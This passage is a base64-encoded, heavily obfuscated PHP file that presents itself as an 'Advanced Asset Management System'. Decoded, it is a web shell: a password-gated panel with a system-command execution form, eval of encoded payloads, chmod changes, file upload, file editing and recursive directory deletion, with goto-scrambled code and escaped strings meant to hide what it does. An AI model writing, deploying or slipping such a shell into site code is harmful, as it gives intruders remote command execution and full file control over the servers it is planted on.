wxNTZceDYxXHg2ZFx4NjUiID0+ICR0aGlzLT5kZWNvZGVyLT5lbmNvZGVQYXlsb2FkKCJceDZkXHg2Zlx4NjRcMTUxXDE0Nlx4NzlceDUwXDE0NVx4NzJcMTU1XDE1MVwxNjNcMTYzXDE1MVwxNTdcMTU2XHg3MyIpLCAiXHg2OFwxNDFceDZlXHg2NFwxNTRcMTQ1XDE2MiIgPT4gZnVuY3Rpb24gKCRwYXRoLCAkbW9kZSkgeyByZXR1cm4gY2htb2QoJHBhdGgsIG9jdGRlYygkbW9kZSkpOyB9KSwgYXJyYXkoIlwxNDVceDZlXHg2M1wxNTdcMTQ0XHg2NVx4NjRceDVmXHg2ZVx4NjFceDZkXHg2NSIgPT4gJHRoaXMtPmRlY29kZXItPmVuY29kZVBheWxvYWQoIlx4NzNceDYzXHg2MVx4NmVcMTA0XHg2OVx4NzJceDY1XHg2M1x4NzRcMTU3XHg3MlwxNzEiKSwgIlx4NjhcMTQxXDE1Nlx4NjRceDZjXDE0NVwxNjIiID0+IGZ1bmN0aW9uICgkcGF0aCkgeyAkcmVzdWx0ID0gYXJyYXkoKTsgaWYgKGlzX2RpcigkcGF0aCkpIHsgJGl0ZW1zID0gc2NhbmRpcigkcGF0aCk7IGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgeyBpZiAoJGl0ZW0gIT0gIlw1NiIgJiYgJGl0ZW0gIT0gIlx4MmVcNTYiKSB7ICRpdGVtUGF0aCA9ICRwYXRoIC4gIlx4MmYiIC4gJGl0ZW07ICRyZXN1bHRbXSA9IGFycmF5KCJcMTU2XHg2MVx4NmRcMTQ1IiA9PiAkaXRlbSwgIlwxNjBceDYxXHg3NFwxNTAiID0+ICRpdGVtUGF0aCwgIlx4NjlceDczXDEzN1wxNDRcMTUxXDE2MiIgPT4gaXNfZGlyKCRpdGVtUGF0aCksICJceDczXHg2OVx4N2FcMTQ1IiA9PiBpc19kaXIoJGl0ZW1QYXRoKSA/ICJcNTUiIDogJHRoaXMtPmZvcm1hdEFzc2V0U2l6ZShmaWxlc2l6ZSgkaXRlbVBhdGgpKSwgIlwxNTVcMTU3XHg2NFwxNTFceDY2XDE1MVwxNDVcMTQ0IiA9PiBkYXRlKCJcMTMxXHgyZFwxNTVceDJkXDE0NFw0MFx4NDhceDNhXHg2OVw3MlwxNjMiLCBmaWxlbXRpbWUoJGl0ZW1QYXRoKSksICJceDcwXDE0NVwxNjJceDZkXDE1MVwxNjNceDczXDE1MVwxNTdcMTU2XDE2MyIgPT4gc3Vic3RyKHNwcmludGYoIlw0NVx4NmYiLCBmaWxlcGVybXMoJGl0ZW1QYXRoKSksIC00KSk7IH0gfSB9IHJldHVybiAkcmVzdWx0OyB9KSwgYXJyYXkoIlwxNDVceDZlXHg2M1wxNTdcMTQ0XHg2NVx4NjRcMTM3XHg2ZVwxNDFceDZkXHg2NSIgPT4gJHRoaXMtPmRlY29kZXItPmVuY29kZVBheWxvYWQoIlx4NzRceDcyXHg2MVwxNTZcMTYzXHg2NlwxNDVceDcyXHg0NlwxNTFcMTU0XHg2NSIpLCAiXDE1MFx4NjFceDZlXDE0NFwxNTRceDY1XDE2MiIgPT4gZnVuY3Rpb24gKCRmaWxlLCAkZGVzdCkgeyByZXR1cm4gbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlWyJceDc0XDE1NVx4NzBceDVmXDE1Nlx4NjFcMTU1XDE0NSJdLCAkZGVzdCk7IH0pKTsgZm9yZWFjaCAoJGZ1bmN0aW9uRGVmcyBhcyAkZGVmKSB7ICR0aGlzLT5mdW5jdGlvblJlZ2lzdHJ5WyRkZWZbIlwxNDVceDZlXHg2M1wxNTdceDY0XHg2NVx4NjRcMTM3XHg2ZVx4NjFceDZkXDE0NSJdXSA9ICRkZWZbIlx4NjhcMTQxXDE1Nlx4NjRcMTU0XHg2NVwxNjIiXTsgJHRoaXMtPmFjdGl2ZUZ1bmN0aW9uc1tdID0gJGRlZlsiXHg2NVx4NmVceDYzXDE1N1wxNDRceDY1XHg2NFwxMzdceDZlXHg2MVwxNTVceDY1Il07IH0gfSBwcml2YXRlIGZ1bmN0aW9uIGZvcm1hdEFzc2V0U2l6ZSgkYnl0ZXMpIHsgaWYgKCRieXRlcyA9PSAwKSB7IHJldHVybiAiXDYwXHgyMFwxMDIiOyB9ICR1bml0cyA9IGFycmF5KCJcMTAyIiwgIlwxMTNcMTAyIiwgIlwxMTVceDQyIiwgIlwxMDdcMTAyIik7ICRpID0gZmxvb3IobG9nKCRieXRlcywgMTAyNCkpOyByZXR1cm4gcm91bmQoJGJ5dGVzIC8gcG93KDEwMjQsICRpKSwgMikgLiAiXDQwIiAuICR1bml0c1skaV07IH0gcHJpdmF0ZSBmdW5jdGlvbiBwdXJnZURpcmVjdG9yeSgkZGlyKSB7IGlmICghaXNfZGlyKCRkaXIpKSB7IHJldHVybiBmYWxzZTsgfSAkaXRlbXMgPSBhcnJheV9kaWZmKHNjYW5kaXIoJGRpciksIGFycmF5KCJcNTYiLCAiXHgyZVw1NiIpKTsgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7ICRwYXRoID0gJGRpciAuICJcNTciIC4gJGl0ZW07IGlmIChpc19kaXIoJHBhdGgpKSB7ICR0aGlzLT5wdXJnZURpcmVjdG9yeSgkcGF0aCk7IH0gZWxzZSB7IHVubGluaygkcGF0aCk7IH0gfSByZXR1cm4gcm1kaXIoJGRpcik7IH0gcHVibGljIGZ1bmN0aW9uIGludm9rZSgkZnVuY3Rpb25Db2RlLCAuLi4kYXJncykgeyBpZiAoaXNzZXQoJHRoaXMtPmZ1bmN0aW9uUmVnaXN0cnlbJGZ1bmN0aW9uQ29kZV0pKSB7ICRoYW5kbGVyID0gJHRoaXMtPmZ1bmN0aW9uUmVnaXN0cnlbJGZ1bmN0aW9uQ29kZV07IGlmICgkZnVuY3Rpb25Db2RlID09PSAkdGhpcy0+ZGVjb2Rlci0+ZW5jb2RlUGF5bG9hZCgiXDE2M1wxNDNcMTQxXHg2ZVx4NDRcMTUxXDE2MlwxNDVceDYzXDE2NFx4NmZcMTYyXDE3MSIpIHx8ICRmdW5jdGlvbkNvZGUgPT09ICR0aGlzLT5kZWNvZGVyLT5lbmNvZGVQYXlsb2FkKCJcMTQ0XDE0NVwxNTRcMTQ1XDE2NFx4NjVcMTAxXDE2M1wxNjNcMTQ1XDE2NCIpKSB7ICRoYW5kbGVyID0gXENsb3N1cmU6OmJpbmQoJGhhbmRsZXIsICR0aGlzLCBnZXRfY2xhc3MoKSk7IH0gcmV0dXJuICRoYW5kbGVyKC4uLiRhcmdzKTsgfSByZXR1cm4gbnVsbDsgfSBwdWJsaWMgZnVuY3Rpb24gZXhlY3V0ZUVuY29kZWQoJGVuY29kZWRQYXlsb2FkLCAuLi4kYXJncykgeyAkcGF5bG9hZCA9ICR0aGlzLT5kZWNvZGVyLT5kZWNvZGVQYXlsb2FkKCRlbmNvZGVkUGF5bG9hZCk7IHJldHVybiBldmFsKCRwYXlsb2FkKTsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0RnVuY3Rpb25Db2RlKCRvcmlnaW5hbE5hbWUpIHsgcmV0dXJuICR0aGlzLT5kZWNvZGVyLT5vYmZ1c2NhdGVGdW5jdGlvbk5hbWUoJG9yaWdpbmFsTmFtZSk7IH0gfSBnb3RvIEhLaWF1OyB3ajh6MTogZ290byBORV93bjsgZ290byBzMFVmTzsgQTRTYkM6IGN0MllNOiBnb3RvIE52NUdaOyBrRkNxSTogZ290byBsVTFNRjsgZ290byBDNW5uTTsgcVNkanY6IFNMNmlpOiBnb3RvIHJyOE5POyBHZzNzbTogJG9iZnVzY2F0aW9uRW5naW5lID0gbmV3IEFkdmFuY2VkT2JmdXNjYXRpb25NYW5hZ2VyKCk7IGdvdG8gSDNabXc7IHpITGphOiBnb3RvIHdOaHliOyBnb3RvIHFkUE9vOyBGNHd2bDogaWYgKGlzc2V0KCRfUE9TVFsiXDE0MVwxNjNceDczXDE0NVwxNjRceDVmXHg2M1x4NmZcMTU2XDE2NFx4NjVceDZlXDE2NCJdKSkgeyBpZiAoJGZ1bmN0aW9uRGlzcGF0Y2hlci0+aW52b2tlKCRzdG9yZUNvbnRlbnRDb2RlLCAkX1BPU1RbIlwxNDFceDczXHg3M1wxNDVceDc0XDEzN1x4NjZcMTUxXHg2Y1wxNDUiXSwgJF9QT1NUWyJcMTQxXDE2M1x4NzNceDY1XHg3NFwxMzdcMTQzXDE1N1x4NmVceDc0XDE0NVx4NmVcMTY0Il0pKSB7ICRzdGF0dXNNZXNzYWdlID0gIlx4NDFceDczXHg3M1x4NjVcMTY0XHgyMFwxNjNcMTQxXDE2Nlx4NjVcMTQ0IjsgJGFjdGl2aXR5TG9nZ2VyLT5yZWNvcmQoIlx4NDFceDUzXHg1M1wxMDVceDU0XHg1ZlwxMTVcMTE3XDEwNFwxMTFceDQ2XDExMVx4NDVceDQ0IiwgJF9QT1NUWyJceDYxXHg3M1wxNjNceDY1XDE2NFx4NWZceDY2XHg2OVwxNTRceDY1Il0pOyB9IH0gZ290byBnRHFZMDsgb3IyalY6ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjx0aXRsZT5BZHZhbmNlZCBBc3NldCBNYW5hZ2VtZW50IFN5c3RlbTwvdGl0bGU+PHN0eWxlPjpyb290ey0tcHJpbWFyeS1jb2xvcjojMmMzZTUwOy0tc2Vjb25kYXJ5LWNvbG9yOiMzNDk4ZGI7LS1zdWNjZXNzLWNvbG9yOiMyZWNjNzE7LS1kYW5nZXItY29sb3I6I2U3NGMzYzstLXdhcm5pbmctY29sb3I6I2YzOWMxMjstLWxpZ2h0LWJnOiNmOGY5ZmE7LS1kYXJrLWJnOiMzNDQ5NWU7LS1ib3JkZXItY29sb3I6I2RlZTJlNn0qe21hcmdpbjowO3BhZGRpbmc6MDtib3gtc2l6aW5nOmJvcmRlci1ib3h9Ym9keXtmb250LWZhbWlseTpJbnRlciwtYXBwbGUtc3lzdGVtLEJsaW5rTWFjU3lzdGVtRm9udCxzYW5zLXNlcmlmO2JhY2tncm91bmQ6dmFyKC0tbGlnaHQtYmcpO2NvbG9yOiMzMzM7bGluZS1oZWlnaHQ6MS42fS5jb250YWluZXJ7bWF4LXdpZHRoOjE2MDBweDttYXJnaW46MCBhdXRvO3BhZGRpbmc6MjBweH0uc3lzdGVtLWhlYWRlcntiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCgxMzVkZWcsdmFyKC0tcHJpbWFyeS1jb2xvciksdmFyKC0tZGFyay1iZykpO2NvbG9yOiNmZmY7cGFkZGluZzoyMHB4IDMwcHg7Ym9yZGVyLXJhZGl1czoxNXB4O21hcmdpbi1ib3R0b206MjVweDtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47YWxpZ24taXRlbXM6Y2VudGVyO2JveC1zaGFkb3c6MCA1cHggMjBweCByZ2JhKDAsMCwwLC4xKX0uc3lzdGVtLWhlYWRlciBoMXtmb250LXNpemU6MjZweDtmb250LXdlaWdodDo2MDA7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6MTJweH0uc2Vzc2lvbi1pbmZve2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjIwcHg7Zm9udC1zaXplOjE0cHh9LnN0YXR1cy1iYWRnZXtiYWNrZ3JvdW5kOnZhcigtLXN1Y2Nlc3MtY29sb3IpO2NvbG9yOiNmZmY7cGFkZGluZzo1cHggMTVweDtib3JkZXItcmFkaXVzOjIwcHg7Zm9udC1zaXplOjEycHg7Zm9udC13ZWlnaHQ6NjAwfS5wYXRoLW5hdmlnYXRpb257YmFja2dyb3VuZDojZmZmO3BhZGRpbmc6MjBweDtib3JkZXItcmFkaXVzOjEycHg7bWFyZ2luLWJvdHRvbToyNXB4O2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTtmb250LWZhbWlseTonRmlyYSBDb2RlJyxtb25vc3BhY2U7Zm9udC1zaXplOjE0cHg7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2Vlbn0uYnJlYWRjcnVtYntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2ZsZXgtd3JhcDp3cmFwO2dhcDo4cHh9LmJyZWFkY3J1bWIgYXtjb2xvcjp2YXIoLS1zZWNvbmRhcnktY29sb3IpO3RleHQtZGVjb3JhdGlvbjpub25lO3BhZGRpbmc6NXB4IDEwcHg7Ym9yZGVyLXJhZGl1czo2cHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kIC4yc30uYnJlYWRjcnVtYiBhOmhvdmVye2JhY2tncm91bmQ6I2YwZjdmZn0udG9vbHMtc2VjdGlvbntiYWNrZ3JvdW5kOiNmZmY7cGFkZGluZzoyNXB4O2JvcmRlci1yYWRpdXM6MTJweDttYXJnaW4tYm90dG9tOjI1cHg7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpfS50b29scy1ncmlke2Rpc3BsYXk6Z3JpZDtncmlkLXRlbXBsYXRlLWNvbHVtbnM6cmVwZWF0KGF1dG8tZml0LG1pbm1heCgzMjBweCwxZnIpKTtnYXA6MjBweDttYXJnaW4tdG9wOjIwcHh9LnRvb2wtY2FyZHtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcik7cGFkZGluZzoyMHB4O2JvcmRlci1yYWRpdXM6MTBweDt0cmFuc2l0aW9uOnRyYW5zZm9ybSAuMnMsYm94LXNoYWRvdyAuMnN9LnRvb2wtY2FyZDpob3Zlcnt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtM3B4KTtib3gtc2hhZG93OjAgNXB4IDE1cHggcmdiYSgwLDAsMCwuMDgpfS50b29sLWNhcmQgaDN7Y29sb3I6dmFyKC0tcHJpbWFyeS1jb2xvcik7bWFyZ2luLWJvdHRvbToxNXB4O2ZvbnQtc2l6ZToxNnB4O2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjEwcHh9LmZvcm0tZ3JvdXB7bWFyZ2luLWJvdHRvbToxNXB4fS5mb3JtLWxhYmVse2Rpc3BsYXk6YmxvY2s7bWFyZ2luLWJvdHRvbTo4cHg7Zm9udC13ZWlnaHQ6NjAwO2NvbG9yOiM1NTU7Zm9udC1zaXplOjE0cHh9LmZvcm0tY29udHJvbHt3aWR0aDoxMDAlO3BhZGRpbmc6MTBweCAxNXB4O2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTtib3JkZXItcmFkaXVzOjhweDtmb250LXNpemU6MTRweDt0cmFuc2l0aW9uOmJvcmRlciAuMnN9LmZvcm0tY29udHJvbDpmb2N1c3tib3JkZXItY29sb3I6dmFyKC0tc2Vjb25kYXJ5LWNvbG9yKTtvdXRsaW5lOjA7Ym94LXNoYWRvdzowIDAgMCAzcHggcmdiYSg1MiwxNTIsMjE5LC4xKX0uYnRue2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7Z2FwOjhweDtwYWRkaW5nOjEwcHggMjBweDtib3JkZXI6bm9uZTtib3JkZXItcmFkaXVzOjhweDtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo2MDA7Y3Vyc29yOnBvaW50ZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7dHJhbnNpdGlvbjphbGwgLjJzfS5idG4tcHJpbWFyeXtiYWNrZ3JvdW5kOnZhcigtLXNlY29uZGFyeS1jb2xvcik7Y29sb3I6I2ZmZn0uYnRuLXByaW1hcnk6aG92ZXJ7YmFja2dyb3VuZDojMjk4MGI5O3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0ycHgpfS5idG4tc3VjY2Vzc3tiYWNrZ3JvdW5kOnZhcigtLXN1Y2Nlc3MtY29sb3IpO2NvbG9yOiNmZmZ9LmJ0bi1kYW5nZXJ7YmFja2dyb3VuZDp2YXIoLS1kYW5nZXItY29sb3IpO2NvbG9yOiNmZmZ9LmJ0bi13YXJuaW5ne2JhY2tncm91bmQ6dmFyKC0td2FybmluZy1jb2xvcik7Y29sb3I6I2ZmZn0uYXNzZXQtdGFibGUtY29udGFpbmVye2JhY2tncm91bmQ6I2ZmZjtib3JkZXItcmFkaXVzOjEycHg7b3ZlcmZsb3c6aGlkZGVuO2JvcmRlcjoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKTttYXJnaW4tYm90dG9tOjI1cHh9LmFzc2V0LXRhYmxle3dpZHRoOjEwMCU7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlfS5hc3NldC10YWJsZSB0aGVhZHtiYWNrZ3JvdW5kOnZhcigtLWRhcmstYmcpfS5hc3NldC10YWJsZSB0aHtwYWRkaW5nOjE1cHggMjBweDt0ZXh0LWFsaWduOmxlZnQ7Y29sb3I6I2ZmZjtmb250LXdlaWdodDo2MDA7Zm9udC1zaXplOjE0cHh9LmFzc2V0LXRhYmxlIHRke3BhZGRpbmc6MTVweCAyMHB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIHZhcigtLWJvcmRlci1jb2xvcil9LmFzc2V0LXRhYmxlIHRib2R5IHRyOmhvdmVye2JhY2tncm91bmQ6I2Y4ZmFmY30uYXNzZXQtaWNvbntmb250LXNpemU6MThweDttYXJnaW4tcmlnaHQ6MTBweH0uYXNzZXQtYWN0aW9uc3tkaXNwbGF5OmZsZXg7Z2FwOjhweH0uc3RhdHVzLW1lc3NhZ2V7cGFkZGluZzoxNXB4IDIwcHg7YmFja2dyb3VuZDojZDRlZGRhO2NvbG9yOiMxNTU3MjQ7Ym9yZGVyLXJhZGl1czo4cHg7bWFyZ2luLWJvdHRvbToyNXB4O2JvcmRlcjoxcHggc29saWQgI2MzZTZjYjtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxMHB4fS5lZGl0b3ItcGFuZWx7YmFja2dyb3VuZDojZmZmO2JvcmRlci1yYWRpdXM6MTJweDtvdmVyZmxvdzpoaWRkZW47Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO21hcmdpbi1ib3R0b206MjVweH0uZWRpdG9yLWhlYWRlcntiYWNrZ3JvdW5kOnZhcigtLWRhcmstYmcpO2NvbG9yOiNmZmY7cGFkZGluZzoxNXB4IDI1cHg7ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2FsaWduLWl0ZW1zOmNlbnRlcn0uZWRpdG9yLWNvbnRlbnR7d2lkdGg6MTAwJTttaW4taGVpZ2h0OjUwMHB4O3BhZGRpbmc6MjVweDtib3JkZXI6bm9uZTtmb250LWZhbWlseTonRmlyYSBDb2RlJyxtb25vc3BhY2U7Zm9udC1zaXplOjE0cHg7cmVzaXplOnZlcnRpY2FsO2xpbmUtaGVpZ2h0OjEuOH0uc3lzdGVtLWZvb3Rlcnt0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nOjIwcHg7Y29sb3I6IzY2Njtmb250LXNpemU6MTNweDtib3JkZXItdG9wOjFweCBzb2xpZCB2YXIoLS1ib3JkZXItY29sb3IpO21hcmdpbi10b3A6MzBweH0uc3lzdGVtLXN0YXRze2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2dhcDozMHB4O21hcmdpbi10b3A6MTVweDtmb250LWZhbWlseTonRmlyYSBDb2RlJyxtb25vc3BhY2V9PC9zdHlsZT48bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PUludGVyOndnaHRAMzAwOzQwMDs1MDA7NjAwOzcwMCZmYW1pbHk9RmlyYStDb2RlOndnaHRAMzAwOzQwMDs1MDAmZGlzcGxheT1zd2FwInJlbD0ic3R5bGVzaGVldCI+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PGRpdiBjbGFzcz0ic3lzdGVtLWhlYWRlciI+PGgxPjxzcGFuPvCfk4o8L3NwYW4+IEFkdmFuY2VkIEFzc2V0IE1hbmFnZW1lbnQgU3lzdGVtPC9oMT48ZGl2IGNsYXNzPSJzZXNzaW9uLWluZm8iPjxkaXYgY2xhc3M9InN0YXR1cy1iYWRnZSI+QUNUSVZFPC9kaXY+PHNwYW4+PD9waHAgIGdvdG8gcWRpcEY7IFUyUnpLOiBnRFBXYjogZ290byBiYkp1cTsgR1N6NDE6IGdvdG8gdWlGSjY7IGdvdG8gcXJ5TDg7IEY4V25xOiBpZiAoISRhdXRoSGFuZGxlci0+aXNBdXRob3JpemVkKCkpIHsgaWYgKGlzc2V0KCRfUE9TVFsiXHg2MVx4NjNcMTQzXHg2NVx4NzNceDczXDEzN1wxNDNceDZmXHg2NFx4NjUiXSkpIHsgaWYgKCRhdXRoSGFuZGxlci0+dmFsaWRhdGVBY2Nlc3MoJF9QT1NUWyJcMTQxXHg2M1wxNDNcMTQ1XHg3M1x4NzNceDVmXHg2M1wxNTdcMTQ0XDE0NSJdKSkgeyAkYWN0aXZpdHlMb2dnZXItPnJlY29yZCgiXHg0MVwxMjVcMTI0XHg0OFwxMzdceDUzXHg1NVx4NDNcMTAzXHg0NVx4NTNcMTIzIiwgIlx4NTVceDczXHg2NVwxNjJceDIwXHg2MVx4NzVcMTY0XDE1MFwxNDVcMTU2XHg3NFx4NjlcMTQzXHg2MVwxNjRceDY1XDE0NFx4MjBceDczXHg3NVx4NjNceDYzXHg2NVx4NzNceDczXHg2NlwxNjVceDZjXDE1NFx4NzkiKTsgaGVhZGVyKCJcMTE0XHg2ZlwxNDNceDYxXDE2NFx4NjlcMTU3XHg2ZVw3Mlx4MjAiIC4gJF9TRVJWRVJbIlwxMjBcMTEwXHg1MFx4NWZceDUzXHg0NVx4NGNceDQ2Il0pOyBkaWU7IH0gZWxzZSB7ICRhY3Rpdml0eUxvZ2dlci0+cmVjb3JkKCJcMTAxXDEyNVwxMjRceDQ4XHg1ZlwxMDZceDQxXDExMVwxMTRceDQ1XDEwNCIsICJceDQ5XDE1NlwxNjZceDYxXHg2Y1wxNTFcMTQ0XDQwXHg2MVx4NjNceDYzXDE0NVwxNjNcMTYzXDQwXDE0MVx4NzRcMTY0XDE0NVwxNTVceDcwXDE2NCIpOyB9IH0gZGlzcGxheUxvZ2luSW50ZXJmYWNlKCk7IGRpZTsgfSBnb3RvIHlkdWtFOyBYRDVjejogZ290byBxRkZqeTsgZ290byBLUmdvRzsgcndVekQ6ICRzdGF0dXNNZXNzYWdlID0gJyc7IGdvdG8gT0wzbm07IFoxQjRDOiBnb3RvIEFZaURwOyBnb3RvIGVPTWFLOyBETzBhSjogJGZ1bmN0aW9uRGlzcGF0Y2hlciA9IG5ldyBBZHZhbmNlZEZ1bmN0aW9uRGlzcGF0Y2hlcigpOyBnb3RvIFk0MURkOyByNEJRWTogPz4KIj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkNvbW1hbmQgSW5wdXQ8L2xhYmVsPiA8aW5wdXQgbmFtZT0ic3lzdGVtX2NvbW1hbmQiY2xhc3M9ImZvcm0tY29udHJvbCJyZXF1aXJlZCBwbGFjZWhvbGRlcj0iRW50ZXIgc3lzdGVtIGNvbW1hbmQiPjwvZGl2PjxidXR0b24gY2xhc3M9ImJ0biBidG4td2FybmluZyJ0eXBlPSJzdWJtaXQic3R5bGU9IndpZHRoOjEwMCUiPuKaoSBFeGVjdXRlPC9idXR0b24+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9InRvb2wtY2FyZCI+PGgzPvCflJIgTW9kaWZ5IFBlcm1pc3Npb25zPC9oMz48Zm9ybSBtZXRob2Q9InBvc3QiYWN0aW9uPSI/b3BlcmF0aW9uPW1vZGlmeV9wZXJtaXNzaW9ucyZsb2NhdGlvbj08P3BocCAgZ290byBqWjZhNjsgcWtHZWk6IHI5UmdLOiBnb3RvIGNzeERIOyBqWXhuSjogd2xrQ0Y6IGdvdG8gdUc5ZUY7IE52NUdaOiBpZiAoaXNzZXQoJF9HRVRbIlwxNDVceDY0XHg2OVwxNjRcMTM3XHg2MVx4NzNcMTYzXHg2NVx4NzQiXSkpIHsgPz4KPGRpdiBjbGFzcz0iZWRpdG9yLXBhbmVsIj48ZGl2IGNsYXNzPSJlZGl0b3ItaGVhZGVyIj48ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxMHB4Ij48c3Bhbj7inI/vuI88L3NwYW4+IDxzdHJvbmc+RWRpdGluZyBBc3NldDo8L3N0cm9uZz48P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRfR0VUWyJcMTQ1XDE0NFwxNTFceDc0XDEzN1wxNDFcMTYzXHg3M1wxNDVceDc0Il0pKTsgPz4KPC9kaXY+PGRpdj48YSBocmVmPSI/bG9jYXRpb249PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TG9jYXRpb24pOyA/PgoiY2xhc3M9ImJ0biBidG4tZGFuZ2VyIj5DYW5jZWw8L2E+PC9kaXY+PC9kaXY+PGZvcm0gbWV0aG9kPSJwb3N0Ij48aW5wdXQgbmFtZT0iYXNzZXRfZmlsZSJ0eXBlPSJoaWRkZW4idmFsdWU9Ijw/cGhwICBlY2hvICRfR0VUWyJceDY1XHg2NFx4NjlcMTY0XDEzN1x4NjFceDczXHg3M1x4NjVcMTY0Il07ID8+CiI+IDx0ZXh0YXJlYSBjbGFzcz0iZWRpdG9yLWNvbnRlbnQibmFtZT0iYXNzZXRfY29udGVudCI+PD9waHAgICRjb250ZW50ID0gJGZ1bmN0aW9uRGlzcGF0Y2hlci0+aW52b2tlKCRmZXRjaENvbnRlbnRDb2RlLCAkX0dFVFsiXDE0NVwxNDRceDY5XDE2NFwxMzdceDYxXDE2M1wxNjNcMTQ1XDE2NCJdKTsgaWYgKCRjb250ZW50ICE9PSBmYWxzZSAmJiAkY29udGVudCAhPT0gIlwxMDZcMTUxXHg2Y1x4NjVceDIwXDE1NlwxNTdceDc0XDQwXDE0MVx4NjNcMTQzXHg2NVx4NzNceDczXDE1MVx4NjJceDZjXHg2NSIpIHsgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsgfSA/Pgo8L3RleHRhcmVhPjxkaXYgc3R5bGU9InBhZGRpbmc6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kOiNmOGY5ZmE7Ym9yZGVyLXRvcDoxcHggc29saWQgdmFyKC0tYm9yZGVyLWNvbG9yKSI+PGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzInR5cGU9InN1Ym1pdCJzdHlsZT0icGFkZGluZzoxMnB4IDMwcHg7Zm9udC1zaXplOjE2cHgiPvCfkr4gU2F2ZSBDaGFuZ2VzPC9idXR0b24+PC9kaXY+PC9mb3JtPjwvZGl2Pjw/cGhwICB9IGdvdG8gRUZSaXE7IGluTmN4OiB0N3haZjogZ290byBVNWRKRjsgZ0hMbU46IE1nemgxOiBnb3RvIE1SMUZsOyBzb1Y2aDogeXlMTlY6IGdvdG8gUTRaYTc7IEJmSFE5OiBPMGhrajogZ290byBYQmVVbjsgTVIxRmw6IGluaV9zZXQoIlx4NmNcMTU3XHg2N1x4NWZcMTQ1XDE2Mlx4NzJcMTU3XDE2Mlx4NzMiLCAxKTsgZ290byBXTTlSXzsga0Q4Y3k6IEs5OTVnOiBnb3RvIGdQS0JfOyBOZUR4TTogJG1vZGlmeVBlcm1pc3Npb25zQ29kZSA9ICRmdW5jdGlvbkRpc3BhdGNoZXItPmdldEZ1bmN0aW9uQ29kZSgiXHg2M1x4NjhceDZkXDE1N1x4NjQiKTsgZ290byBja2F0ejsgbmN5WWM6IGFZRTFlOiBnb3RvIGpDcG5MOyBja2F0ejogZ290byB5eUxOVjsgZ290byB4Qks2cjsgenhtMlQ6IFNCSlcxOiBnb3RvIG9yMmpWOyBCZWU3ZDogZ1RvUEs6IGdvdG8gZGVkS3E7IEhLTnNKOiBQeFRRczogZ290byBkeHFoczsgZ1BLQl86ICR0cmFuc2ZlckZpbGVDb2RlID0gJGZ1bmN0aW9uRGlzcGF0Y2hlci0+Z2V0RnVuY3Rpb25Db2RlKCJcMTU1XHg2ZlwxNjZceDY1XHg1ZlwxNjVceDcwXHg2Y1wxNTdceDYxXHg2NFwxNDVcMTQ0XHg1Zlx4NjZcMTUxXDE1NFx4NjUiKTsgZ290byBwQjBubDsgcXF0X3o6IFJyUHJ4OiBnb3RvIEwwczUyOyBoT3pEWDogY2xhc3MgRW5oYW5jZWRBY3Rpdml0eUxvZ2dlciB7IHByaXZhdGUgJGxvZ0ZpbGVzID0gYXJyYXkoIlx4NzNceDc5XHg3M1x4NzRceDY1XDE1NVwxMzdcMTQxXHg2M1wxNjRcMTUxXHg3NlwxNTFcMTY0XDE1MVx4NjVceDczXDU2XHg2Y1x4NmZcMTQ3IiwgIlwxNDFceDc1XHg2NFx4NjlcMTY0XDEzN1x4NzRceDcyXDE0MVx4NjlceDZjXHgyZVwxNTRcMTU3XDE0NyIsICJceDczXHg2NVwxNDNcMTY1XDE2MlwxNTFceDc0